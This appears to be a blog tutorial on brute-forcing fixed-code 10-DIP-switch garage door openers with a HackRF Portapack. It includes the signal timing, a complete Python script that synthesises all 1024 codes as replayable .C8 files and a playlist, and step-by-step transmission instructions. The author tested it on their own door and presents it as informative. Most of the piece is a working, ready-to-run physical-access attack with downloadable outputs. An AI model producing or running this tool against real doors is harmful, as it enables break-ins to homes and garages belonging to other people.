How to brute-force a garage door with HackRF
In this article I will show how it is feasible to open a garage door by transmitting all the possible opening codes in short sequence using HackRF + Portapack. This is an experiment I've performed on my own garage door, which I have legit access to.
This particular door uses a fairly typical but quite insecure protocol based on the configuration of a 10-DIP switch. Previously I wrote an article showing how to emulate the remote for the same garage door. Here we will re-use some of the learnings to perform a brute-force attack.
Needless to say, this is a purely informative article and I am not responsible for your own actions.
Format of the opening codes
As we saw in this previous article, the code has the following format:
- 10 bits sent as pulses of 1.97 ms each.
- 10-pulse long wait between code repetitions.
- The door expects to see the same code a few (around 5) times before opening.
Let's do some math:
- Sending a new code repetition takes 39.4 ms, including the silent wait time: 10 pulses of 1.97 ms for sending the code, plus 10 pulses of silence.
- To be on the safe, we will repeat each code 10 times, which translates to 394 ms to test a single code.
- There are 1024 possible configurations of 10 bits, which means it will take a little less than 7 minutes to try all possible combinations (1024 * 394 ms).
Generating the brute-force attack signal
Now we will synthesize the 7-minute signal described above and save it in .c8 format, so we can easily replay it from the Portapack later. For that, we use the following Python script:
import struct
import os
frequency = 300000000 # 300 Mhz
samp_rate = 500000
buffer_duration = 0.020 # 20 ms
buffer_samples = round(samp_rate * buffer_duration)
pulse_duration = 1.97e-3 # 1.97 ms
pulse_samples = round(samp_rate * pulse_duration)
short_ratio = 0.25
long_ratio = 0.75
begin_wait_pulses = 5
end_wait_pulses = 5
amplitude = 127
repeat = 10
def write_buffer(f):
for _ in range(buffer_samples):
f.write(struct.pack("<b", 0)) # real
f.write(struct.pack("<b", 0)) # imaginary
def write_code(f, code):
# Begin wait pulses
for _ in range(begin_wait_pulses):
for _ in range(pulse_samples):
f.write(struct.pack("<b", 0)) # real
f.write(struct.pack("<b", 0)) # imaginary
# Data pulses
for bit in code:
on_ratio = short_ratio if bit == 0 else long_ratio
on_samples = round(on_ratio * pulse_samples)
off_samples = pulse_samples - on_samples
for _ in range(on_samples):
f.write(struct.pack("<b", amplitude)) # real
f.write(struct.pack("<b", 0)) # imaginary
for _ in range(off_samples):
f.write(struct.pack("<b", 0)) # real
f.write(struct.pack("<b", 0)) # imaginary
# End wait pulses
for _ in range(begin_wait_pulses):
for _ in range(pulse_samples):
f.write(struct.pack("<b", 0)) # real
f.write(struct.pack("<b", 0)) # imaginary
def number_to_code(n):
code = [0]*10
for i in range(10):
code[9 - i] = (n // (2**i)) % 2
return code
# Create output directories
os.makedirs("SAMPLES/garage-brute-force", exist_ok=True)
os.makedirs("PLAYLIST", exist_ok=True)
# Split the codes into 16 different files: 64 codes per file
for i in range(16):
start_code = 64 * i
end_code = start_code + 64
file_name = f"SAMPLES/garage-brute-force/garage-brute-force-{i}"
with open(f"{file_name}.C8", "wb") as f:
# Initial silence
write_buffer(f)
# Generate all codes in the range
for n in range(start_code, end_code):
code = number_to_code(n)
# Repeat the code a few times
for _ in range(repeat):
write_code(f, code)
# Write metadata file
with open(f"{file_name}.TXT", "w") as f:
f.write(f"sample_rate={samp_rate}\n")
f.write(f"center_frequency={frequency}\n")
# Write playlist file
with open("PLAYLIST/garage-brute-force.PPL", "w") as f:
f.write(f"# Plays all 1024 possible codes of a 10-DIP garage door opener\n")
for i in range(16):
f.write(f"/SAMPLES/garage-brute-force/garage-brute-force-{i}.C8\n")
Download the script here: garage-brute-force.py
The script generates the following output files:
- PLAYLIST
- garage-brute-force.PPL
- SAMPLES
- garage-brute-force
- garage-brute-force-0.C8
- garage-brute-force-0.TXT
- garage-brute-force-1.C8
- garage-brute-force-1.TXT
...
- garage-brute-force-15.C8
- garage-brute-force-15.TXT
You may download the ready-to-copy output files here: garage-brute-force.tar.xz
Transmitting the attack signal with HackRF + Portapack
Finally, we will a HackRF to perform the brute force attack. The specific model I own is a HackRF One Portapack H4M with the Mayhem firmware, but the instructions should be very similar for other variants of the Portapack.
Before we can initiate the attack, we must copy the files generated above into the SD card of the HackRF Portapack. I highly recommend taking out the SD card and connecting it directly to your computer with a reader, because we'll be transferring about 400 MB of data, and the data transfer rate is extremely low when using the "SD over USB" built-in utility.
Once the files are in place, the final step is to open the Replay app and find the garage-brute-force playlist from it, and then press the "play" icon.

It takes about 7 minutes to transmit the full signal covering all possible codes. I replayed this signal near my garage door and, not surprisingly, the door opened at some point near the middle of the playlist. It is confirmed: doors using this type of fixed short code are extremely insecure, and anyone with a HackRF can hack them open. It should be technically possible for these doors to implement a jamming-detection mechanism and stop responding until RF silence is restored for some time, but at least my door doesn't implement such thing.